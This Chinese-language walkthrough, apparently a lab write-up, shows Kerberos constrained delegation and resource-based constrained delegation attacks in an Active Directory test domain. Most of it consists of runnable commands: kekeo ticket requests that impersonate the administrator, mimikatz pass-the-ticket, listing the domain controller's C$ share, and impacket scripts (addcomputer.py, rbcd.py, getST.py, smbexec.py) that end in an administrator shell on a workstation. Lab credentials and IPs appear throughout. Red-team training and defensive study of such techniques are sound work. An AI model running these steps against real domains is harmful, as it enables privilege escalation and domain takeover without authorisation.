约束性委派攻击和非约束性委派攻击
约束性委派机制可见:域内的三种委派方式_域控委派控制任务-CSDN博客
约束性委派
-
提前在 deandean 用户上配置好 对 cifs/WIN-0V0GAORDC17.HACKER.com 服务的约束性委派。
-
使用约束性委派机制,以管理员权限访问 cifs/WIN-0V0GAORDC17.HACKER.com 服务。
-
请求 deandean 普通用户的 tgt (在 kekeo 中运行)。
tgt::ask /user:deandean /domain:HACKER.com /password:p-0p-0p-0p-0 # kekeo 将 tgt 存放在当前文件夹下。
-
使用 tgt 请求 S4U2Self 票据。同时再使用 S4U2Self 票据请求 S4U2Proxy 票据。(在 kekeo 中运行)。
tgs::s4u /tgt:TGT_deandean@HACKER.COM_krbtgt~HACKER.com@HACKER.COM.kirbi /user:administrator@HACKER.com /service:cifs/WIN-0V0GAORDC17.HACKER.com # kekeo 将 S4U2Self 票据(短的)和 S4U2Proxy 票据(长的)保存到当前文件夹。
-
使用 mimikatz 将 st 服务票据(S4U2Proxy 票据)导入会话 (在 mimikatz 中运行)。
kerberos::ptt TGS_administrator@HACKER.com@HACKER.COM_cifs~WIN-0V0GAORDC17.HACKER.com@HACKER.COM.kirbi
-
以管理员权限获得访问域控服务的 shell 。
dir \\WIN-0V0GAORDC17.HACKER.com\c$
如下图是 mimikatz 的票据列表,就是我们的 S4U2Proxy 票据。
基于资源的约束性委派
-
这里演示的攻击域内机器 WIN10-01,使得我们有管理员权限访问 WIN10-01。
-
WIN10-01 是 deandean 用户加入域的,所以有修改这个机器账户的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性的权限,这是基于资源的约束性委派攻击的必要条件。
-
如果你要攻击域控,那么你需要有修改域控的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性的权限,我们普通域用户没有修改此属性的权限。
-
设置密码创建一个新的机器账户 win10-02$ 。
# 密码为 p-0p-0p-0p-0 addcomputer.py -computer-name win10-02$ -computer-pass p-0p-0p-0p-0 -dc-ip 192.168.72.163 HACKER.com/deandean:p-0p-0p-0p-0
-
在 WIN10-01 上配置 win10-02 的基于资源的约束性委派(基于资源的约束性委派配置在下游机器账户上, WIN10-01 属于下游机器, win10-02 属于上游机器)。
rbcd.py -f win10-02 -t WIN10-01 -dc-ip 192.168.72.163 HACKER\\deandean:p-0p-0p-0p-0
如下图可以看到 WIN10-01 上配置的基于资源的约束性委派。
-
使用 win10-02 身份代表 administrator 身份获取访问 WIN10-01 的服务票据。
getST.py -spn cifs/WIN10-01.HACKER.com -impersonate administrator -dc-ip 192.168.72.163 HACKER.com/win10-02$:p-0p-0p-0p-0
-
使用此服务票据访问 WIN10-01 (windows 上攻击会显示 “ [-] module 'readline' has no attribute 'backend' ” 报错,但在 linux 上不会出现此报错)。
export KRB5CCNAME=/tmp/administrator@cifs_WIN10-01.HACKER.com@HACKER.COM.ccache python smbexec.py -no-pass -k WIN10-01.HACKER.com